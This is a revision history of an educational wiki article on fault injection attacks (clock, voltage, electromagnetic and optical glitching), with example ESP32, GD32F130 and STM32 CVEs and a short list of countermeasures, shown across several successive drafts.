[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8968Fault Injection Attack2021-12-21T21:42:25Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Fault Injection Attacks''' are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.<br />
<br />
== Introduction ==<br />
<br />
'''Fault Injection Attack''' is a type of a '''Side-Channel Attack'''. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.<ref name="FI"/><ref name="FI2"/><br />
<br />
== Attack Techniques ==<br />
<br />
Fault injection can be done using various techniques the most common ones are the following: <br />
<br />
# Clock Glitch<br />
# Voltage Glitch<br />
# Electromagnetic Glitch <br />
# Optical Injection <br />
<br />
=== Clock Glitch ===<br />
<br />
Glock glitching is a method where the system clock of a cryptographic device or system is being tampered with. Usually systems have their internally system clock. In order for the integrated circuits (ICs) to properly work and for the operations to being successfully executed, the system clock time period needs to be greater that the maximum propagation delay (including offset). Faults injected to the clock results in the attacker bypassing security checks. All it takes it the injection of short pulses in the circuit, at the right time.<ref name="FI2"/><br />
<br />
=== Voltage Glitch ===<br />
<br />
Voltage glitching is a method where faults are created when the systems voltage is being tampered with. The behaviour of operations is manipulated when the voltage is tampered with at specific times. This technique is a low-cost technique, because it doesn't require many additional hardware. However, the generated faults might not always be predictable, therefore attackers cannot tell when an injected fault leads to information leakage. A quite well known Fault Injection Attack called [[Plundervolt]] uses this technique.<ref name="FI2"/> <br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
Electromagnetic glitching is another technique that is commonly used in Fault Injection Attacks. It is also one of the most used methods, because it not invasive. Attackers use EM probes with precisely placed X-Y tables above the EM probe. Researchers have already released information about various flaws in ESP32. <ref name="FI2"/> <br />
<br />
=== Optical Injection ===<br />
<br />
Optical injection uses illumination of transistors to make a conduct in a system and to inject faults. Attackers use a laser or high energy light source such as UV lamps combined with decapsulation of the system chip. This attack results in resets of microcontroller’s internal protection fuses and results in breaking cryptographic implementation to steal secrets. <ref name="FI2"/> <br />
<br />
== Examples ==<br />
<br />
<br />
=== Espressif ESP32: Bypassing Secure Boot <ref name="FI2"/> === <br />
<br />
Also known as CVE-2019-15894, is a Fault Injection Attack which bypasses the Secure Boot verification when starting a ESP32 CPU. When faults are generated. unverified code is being executed from flash. Researchers found out, that the flash encryption mitigates this attack, as unverified code cannot be executed then.<ref name="FI2"/> <br />
<br />
Reference: [https://www.espressif.com/en/news/Espressif_Security_Advisory_Concerning_Fault_Injection_and_Secure_Boot Espressif Advisory], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 CVE Mitre]<br />
<br />
=== Espressif ESP32: Bypassing Flash Encryption <ref name="FI2"/> ===<br />
<br />
Also known as CVE-2020-15048, is a Fault Injection Attack which bypasses the Flash Encryption and the Secure Boot verification. When faults are generated. unverified code is being executed from flash.<ref name="FI2"/> <br />
<br />
Reference: [https://www.espressif.com/sites/default/files/advisory_downloads/Security%20Advisory%20CVE-2020-15048%2C%2013629%20EN%26CN.pdf Espressif Advisory], [https://raelize.com/posts/espressif-systems-esp32-bypassing-flash-encryption/ Raelize]<br />
<br />
=== Gigadevice GD32F130 devices: Debug interface permissions escalation <ref name="FI2"/> ===<br />
<br />
Also known as CVE-2020-13468, is a Fault Injection Attack which exploits the insufficiently physically protected inter-IC bonding wires. When this exploit is exploited, the debug interface permissions of the device escalate. This leads to extraction of firmware even thought there is debugging protection implemented. Attackers can also read the protected flash memory and perform random modifications on the device.<ref name="FI2"/> <br />
<br />
Reference: [https://www.usenix.org/system/files/woot20-paper-obermaier.pdf Research Paper], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13468 CVE Mitre]<br />
<br />
=== STM32 USB Device Library: Buffer overflow vulnerability exploit <ref name="FI2"/> === <br />
<br />
Also known as CVE-2020-15808, is a Fault Injection Attack which uses the buffer overflow vulnerability in the CDC communicaation interface code. When this exploit is exploited, attackers can access sensitive information, keys, secrets or obtain firmware.<ref name="FI2"/> <br />
<br />
Reference: [https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf Black Hat Asia 2020], [https://twitter.com/horac341/status/1311911734572208129 Grzegorz Wypych], [https://github.com/IBM/raiden Raiden]<br />
<br />
== Countermeasures ==<br />
<br />
Currently people are researching for countermeasures against Fault Injection Attacks. Some of the countermeasures that are already used today are listed below:<ref name="FI2"/> <br />
<br />
- Proper shielding<br />
- Proper physical hardening of systems and devices<br />
- Fault detection mechanisms<br />
- Resistance against [[Side Channel Attacks]]<br />
- Redundancy for critical control signals <br />
<br />
== References ==<br />
<references><br />
<ref name="FI">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<ref name="FI2">https://payatu.com/blog/asmita-jha/fault-injection-basics</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8967Fault Injection Attack2021-12-21T21:38:26Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Fault Injection Attacks''' are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.<br />
<br />
== Introduction ==<br />
<br />
'''Fault Injection Attack''' is a type of a '''Side-Channel Attack'''. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.<ref name="FI"/><ref name="FI2"/><br />
<br />
== Attack Techniques ==<br />
<br />
Fault injection can be done using various techniques the most common ones are the following: <br />
<br />
# Clock Glitch<br />
# Voltage Glitch<br />
# Electromagnetic Glitch <br />
# Optical Injection <br />
<br />
=== Clock Glitch ===<br />
<br />
Glock glitching is a method where the system clock of a cryptographic device or system is being tampered with. Usually systems have their internally system clock. In order for the integrated circuits (ICs) to properly work and for the operations to being successfully executed, the system clock time period needs to be greater that the maximum propagation delay (including offset). Faults injected to the clock results in the attacker bypassing security checks. All it takes it the injection of short pulses in the circuit, at the right time.<ref name="FI2"/><br />
<br />
=== Voltage Glitch ===<br />
<br />
Voltage glitching is a method where faults are created when the systems voltage is being tampered with. The behaviour of operations is manipulated when the voltage is tampered with at specific times. This technique is a low-cost technique, because it doesn't require many additional hardware. However, the generated faults might not always be predictable, therefore attackers cannot tell when an injected fault leads to information leakage. A quite well known Fault Injection Attack called [[Plundervolt]] uses this technique.<ref name="FI2"/> <br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
Electromagnetic glitching is another technique that is commonly used in Fault Injection Attacks. It is also one of the most used methods, because it not invasive. Attackers use EM probes with precisely placed X-Y tables above the EM probe. Researchers have already released information about various flaws in ESP32. <ref name="FI2"/> <br />
<br />
=== Optical Injection ===<br />
<br />
Optical injection uses illumination of transistors to make a conduct in a system and to inject faults. Attackers use a laser or high energy light source such as UV lamps combined with decapsulation of the system chip. This attack results in resets of microcontroller’s internal protection fuses and results in breaking cryptographic implementation to steal secrets. <ref name="FI2"/> <br />
<br />
== Examples ==<br />
<br />
<br />
=== Espressif ESP32: Bypassing Secure Boot <ref name="FI2"/> === <br />
<br />
Also known as CVE-2019-15894, is a Fault Injection Attack which bypasses the Secure Boot verification when starting a ESP32 CPU. When faults are generated. unverified code is being executed from flash. Researchers found out, that the flash encryption mitigates this attack, as unverified code cannot be executed then.<ref name="FI2"/> <br />
<br />
Reference: [https://www.espressif.com/en/news/Espressif_Security_Advisory_Concerning_Fault_Injection_and_Secure_Boot Espressif Advisory], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 CVE Mitre]<br />
<br />
=== Espressif ESP32: Bypassing Flash Encryption <ref name="FI2"/> ===<br />
<br />
Also known as CVE-2020-15048, is a Fault Injection Attack which bypasses the Flash Encryption and the Secure Boot verification. When faults are generated. unverified code is being executed from flash.<ref name="FI2"/> <br />
<br />
Reference: [https://www.espressif.com/sites/default/files/advisory_downloads/Security%20Advisory%20CVE-2020-15048%2C%2013629%20EN%26CN.pdf Espressif Advisory], [https://raelize.com/posts/espressif-systems-esp32-bypassing-flash-encryption/ Raelize]<br />
<br />
=== Gigadevice GD32F130 devices: Debug interface permissions escalation <ref name="FI2"/> ===<br />
<br />
Also known as CVE-2020-13468, is a Fault Injection Attack which exploits the insufficiently physically protected inter-IC bonding wires. When this exploit is exploited, the debug interface permissions of the device escalate. This leads to extraction of firmware even thought there is debugging protection implemented. Attackers can also read the protected flash memory and perform random modifications on the device.<ref name="FI2"/> <br />
<br />
Reference: [https://www.usenix.org/system/files/woot20-paper-obermaier.pdf Research Paper], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13468 CVE Mitre]<br />
<br />
=== STM32 USB Device Library: Buffer overflow vulnerability exploit <ref name="FI2"/> === <br />
<br />
Also known as CVE-2020-15808, is a Fault Injection Attack which uses the buffer overflow vulnerability in the CDC communicaation interface code. When this exploit is exploited, attackers can access sensitive information, keys, secrets or obtain firmware.<ref name="FI2"/> <br />
<br />
Reference: [https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf Black Hat Asia 2020], [https://twitter.com/horac341/status/1311911734572208129 Grzegorz Wypych], [https://github.com/IBM/raiden Raiden]<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Shielding ===<br />
<br />
<br />
=== Detection ===<br />
<br />
<br />
== References ==<br />
<references><br />
<ref name="FI">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<ref name="FI2">https://payatu.com/blog/asmita-jha/fault-injection-basics</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8966Fault Injection Attack2021-12-21T21:38:11Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Fault Injection Attacks''' are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.<br />
<br />
== Introduction ==<br />
<br />
'''Fault Injection Attack''' is a type of a '''Side-Channel Attack'''. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.<ref name="FI"/><ref name="FI2"/><br />
<br />
== Attack Techniques ==<br />
<br />
Fault injection can be done using various techniques the most common ones are the following: <br />
<br />
# Clock Glitch<br />
# Voltage Glitch<br />
# Electromagnetic Glitch <br />
# Optical Injection <br />
<br />
=== Clock Glitch ===<br />
<br />
Glock glitching is a method where the system clock of a cryptographic device or system is being tampered with. Usually systems have their internally system clock. In order for the integrated circuits (ICs) to properly work and for the operations to being successfully executed, the system clock time period needs to be greater that the maximum propagation delay (including offset). Faults injected to the clock results in the attacker bypassing security checks. All it takes it the injection of short pulses in the circuit, at the right time.<ref name="FI2"/><br />
<br />
=== Voltage Glitch ===<br />
<br />
Voltage glitching is a method where faults are created when the systems voltage is being tampered with. The behaviour of operations is manipulated when the voltage is tampered with at specific times. This technique is a low-cost technique, because it doesn't require many additional hardware. However, the generated faults might not always be predictable, therefore attackers cannot tell when an injected fault leads to information leakage. A quite well known Fault Injection Attack called [[Plundervolt]] uses this technique.<ref name="FI2"/> <br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
Electromagnetic glitching is another technique that is commonly used in Fault Injection Attacks. It is also one of the most used methods, because it not invasive. Attackers use EM probes with precisely placed X-Y tables above the EM probe. Researchers have already released information about various flaws in ESP32. <ref name="FI2"/> <br />
<br />
=== Optical Injection ===<br />
<br />
Optical injection uses illumination of transistors to make a conduct in a system and to inject faults. Attackers use a laser or high energy light source such as UV lamps combined with decapsulation of the system chip. This attack results in resets of microcontroller’s internal protection fuses and results in breaking cryptographic implementation to steal secrets. <ref name="FI2"/> <br />
<br />
== Examples ==<br />
<br />
<br />
=== Espressif ESP32: Bypassing Secure Boot <ref name="FI2"/> === <br />
<br />
Also known as CVE-2019-15894, is a Fault Injection Attack which bypasses the Secure Boot verification when starting a ESP32 CPU. When faults are generated. unverified code is being executed from flash. Researchers found out, that the flash encryption mitigates this attack, as unverified code cannot be executed then.<ref name="FI2"/> <br />
<br />
Reference: [https://www.espressif.com/en/news/Espressif_Security_Advisory_Concerning_Fault_Injection_and_Secure_Boot Espressif Advisory], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 CVE Mitre]<br />
<br />
=== Espressif ESP32: Bypassing Flash Encryption <ref name="FI2"/> ===<br />
<br />
Also known as CVE-2020-15048, is a Fault Injection Attack which bypasses the Flash Encryption and the Secure Boot verification. When faults are generated. unverified code is being executed from flash.<ref name="FI2"/> <br />
<br />
Reference: [https://www.espressif.com/sites/default/files/advisory_downloads/Security%20Advisory%20CVE-2020-15048%2C%2013629%20EN%26CN.pdf Espressif Advisory], [https://raelize.com/posts/espressif-systems-esp32-bypassing-flash-encryption/ Raelize]<br />
<br />
=== Gigadevice GD32F130 devices: Debug interface permissions escalation <ref name="FI2"/> ===<br />
<br />
Also known as CVE-2020-13468, is a Fault Injection Attack which exploits the insufficiently physically protected inter-IC bonding wires. When this exploit is exploited, the debug interface permissions of the device escalate. This leads to extraction of firmware even thought there is debugging protection implemented. Attackers can also read the protected flash memory and perform random modifications on the device.<ref name="FI2"/> <br />
<br />
Reference: [https://www.usenix.org/system/files/woot20-paper-obermaier.pdf Research Paper], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13468 CVE Mitre]<br />
<br />
=== STM32 USB Device Library: Buffer overflow vulnerability exploit <ref name="FI2"/> === <br />
<br />
Also known as CVE-2020-15808, is a Fault Injection Attack which uses the buffer overflow vulnerability in the CDC communicaation interface code. When this exploit is exploited, attackers can access sensitive information, keys, secrets or obtain firmware.<ref name="FI2"/> <br />
<br />
Reference: [https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf Black Hat Asia 2020], [https://twitter.com/horac341/status/1311911734572208129 Grzegorz Wypych] [https://github.com/IBM/raiden Raiden]<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Shielding ===<br />
<br />
<br />
=== Detection ===<br />
<br />
<br />
== References ==<br />
<references><br />
<ref name="FI">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<ref name="FI2">https://payatu.com/blog/asmita-jha/fault-injection-basics</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8959Fault Injection Attack2021-12-21T20:42:01Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Fault Injection Attacks''' are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.<br />
<br />
== Introduction ==<br />
<br />
'''Fault Injection Attack''' is a type of a '''Side-Channel Attack'''. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.<ref name="FI"/><ref name="FI2"/><br />
<br />
== Attack Techniques ==<br />
<br />
<br />
=== Clock Glitch ===<br />
<br />
<br />
=== Voltage Glitch ===<br />
<br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
<br />
=== Optical Injection ===<br />
<br />
<br />
=== Others ===<br />
<br />
<br />
== Examples ==<br />
<br />
<br />
=== CVE-2019-15894 ===<br />
<br />
<br />
=== CVE-2020-15048 ===<br />
<br />
<br />
=== CVE-2020-13468 ===<br />
<br />
<br />
=== CVE-2020-15808 ===<br />
<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Shielding ===<br />
<br />
<br />
=== Detection ===<br />
<br />
<br />
== References ==<br />
<references><br />
<ref name="FI">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<ref name="FI2">https://payatu.com/blog/asmita-jha/fault-injection-basics</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8958Fault Injection Attack2021-12-21T20:39:14Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Fault Injection Attacks''' are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.<br />
<br />
== Introduction ==<br />
<br />
'''Fault Injection Attack''' is a type of a '''Side-Channel Attack'''. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.<ref name="FI"/><ref name="FI2"/><br />
<br />
== Attack Techniques ==<br />
<br />
<br />
=== Clock Glitch ===<br />
<br />
<br />
=== Voltage Glitch ===<br />
<br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
<br />
=== Optical Injection ===<br />
<br />
<br />
=== Others ===<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Shielding ===<br />
<br />
<br />
=== Detection ===<br />
<br />
<br />
<br />
== References ==<br />
<references><br />
<ref name="FI">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<ref name="FI2">https://payatu.com/blog/asmita-jha/fault-injection-basics</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8957Fault Injection Attack2021-12-21T20:38:53Z<p>SVrdoljak: /* References */</p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Fault Injection Attacks''' are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.<br />
<br />
== Introduction ==<br />
<br />
'''Fault Injection Attack''' is a type of a '''Side-Channel Attack'''. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.<ref name="FI"/><br />
<br />
== Attack Techniques ==<br />
<br />
<br />
=== Clock Glitch ===<br />
<br />
<br />
=== Voltage Glitch ===<br />
<br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
<br />
=== Optical Injection ===<br />
<br />
<br />
=== Others ===<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Shielding ===<br />
<br />
<br />
=== Detection ===<br />
<br />
<br />
<br />
== References ==<br />
<references><br />
<ref name="FI">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<ref name="FI2">https://payatu.com/blog/asmita-jha/fault-injection-basics</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8956Fault Injection Attack2021-12-21T20:38:00Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Fault Injection Attacks''' are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.<br />
<br />
== Introduction ==<br />
<br />
'''Fault Injection Attack''' is a type of a '''Side-Channel Attack'''. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.<ref name="FI"/><br />
<br />
== Attack Techniques ==<br />
<br />
<br />
=== Clock Glitch ===<br />
<br />
<br />
=== Voltage Glitch ===<br />
<br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
<br />
=== Optical Injection ===<br />
<br />
<br />
=== Others ===<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Shielding ===<br />
<br />
<br />
=== Detection ===<br />
<br />
<br />
<br />
== References ==<br />
<references><br />
<ref name="FI">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<br />
<br />
</references><br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8955Fault Injection Attack2021-12-21T20:34:49Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Fault Injection Attacks''' are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.<br />
<br />
== Introduction ==<br />
<br />
Fault Injection Attack is a type of a Side-Channel Attack. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is on technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.<br />
<br />
== Attack Techniques ==<br />
<br />
<br />
=== Clock Glitch ===<br />
<br />
<br />
=== Voltage Glitch ===<br />
<br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
<br />
=== Optical Injection ===<br />
<br />
<br />
=== Others ===<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Shielding ===<br />
<br />
<br />
=== Detection ===<br />
<br />
<br />
<br />
== References ==<br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8954Fault Injection Attack2021-12-21T20:34:43Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Fault Injection Attacks''' are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.<br />
<br />
== Introduction ==<br />
<br />
Fault Injection Attack is a type of a Side-Channel Attack. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is on technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.<br />
<br />
<br />
== Attack Techniques ==<br />
<br />
<br />
=== Clock Glitch ===<br />
<br />
<br />
=== Voltage Glitch ===<br />
<br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
<br />
=== Optical Injection ===<br />
<br />
<br />
=== Others ===<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Shielding ===<br />
<br />
<br />
=== Detection ===<br />
<br />
<br />
<br />
== References ==<br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8952Fault Injection Attack2021-12-21T20:20:47Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Fault Injection Attacks''' are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed. <br />
<br />
== Introduction ==<br />
<br />
<br />
<br />
== Attack Techniques ==<br />
<br />
<br />
=== Clock Glitch ===<br />
<br />
<br />
=== Voltage Glitch ===<br />
<br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
<br />
=== Optical Injection ===<br />
<br />
<br />
=== Others ===<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Shielding ===<br />
<br />
<br />
=== Detection ===<br />
<br />
<br />
<br />
== References ==<br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8951Fault Injection Attack2021-12-21T20:10:48Z<p>SVrdoljak: /* Fault Injection Attack Techniques */</p>
<hr />
<div><br />
== Summary==<br />
<br />
<br />
== Introduction ==<br />
<br />
== Attack Techniques ==<br />
<br />
<br />
=== Clock Glitch ===<br />
<br />
<br />
=== Voltage Glitch ===<br />
<br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
<br />
=== Optical Injection ===<br />
<br />
<br />
=== Others ===<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Shielding ===<br />
<br />
<br />
=== Detection ===<br />
<br />
<br />
<br />
== References ==<br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8950Fault Injection Attack2021-12-21T20:10:10Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
<br />
== Introduction ==<br />
<br />
== Fault Injection Attack Techniques ==<br />
<br />
<br />
=== Clock Glitch ===<br />
<br />
<br />
=== Voltage Glitch ===<br />
<br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
<br />
=== Optical Injection ===<br />
<br />
<br />
=== Others ===<br />
<br />
<br />
== Countermeasures ==<br />
<br />
<br />
=== Shielding ===<br />
<br />
<br />
=== Detection ===<br />
<br />
<br />
<br />
== References ==<br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&diff=8949Side Channel Attacks2021-12-21T20:08:12Z<p>SVrdoljak: /* Fault-Injection Attacks */</p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Side Channel Attacks''' are attacks on the practical implementation. They are passive and non-invasive and examples of side channels are execution time, electromagnetic radiation and power consumption. You need additional but inexpensive instruments to measure the side channel signals. Different prior knowledge is required depending on the type of attack. Countermeasures are masking and hiding.<br />
<br />
== Introduction ==<br />
<br />
'''Classical cryptanalytic attacks''' analyse algorithms mathematically for weak points and vulnerabilities. There is a relatively new type of cryptanalytic attack called '''implementation attack''' (the Side Channel Attack is part of it). Instead of attacking the algorithm mathematically, the practical implementation is now the target. This type of attack bypasses the previously installed security mechanisms (e.g. RSA, AES) by also using information emitted by the physical implementation, such as electromagnetic radiation in calculations.<br />
<br />
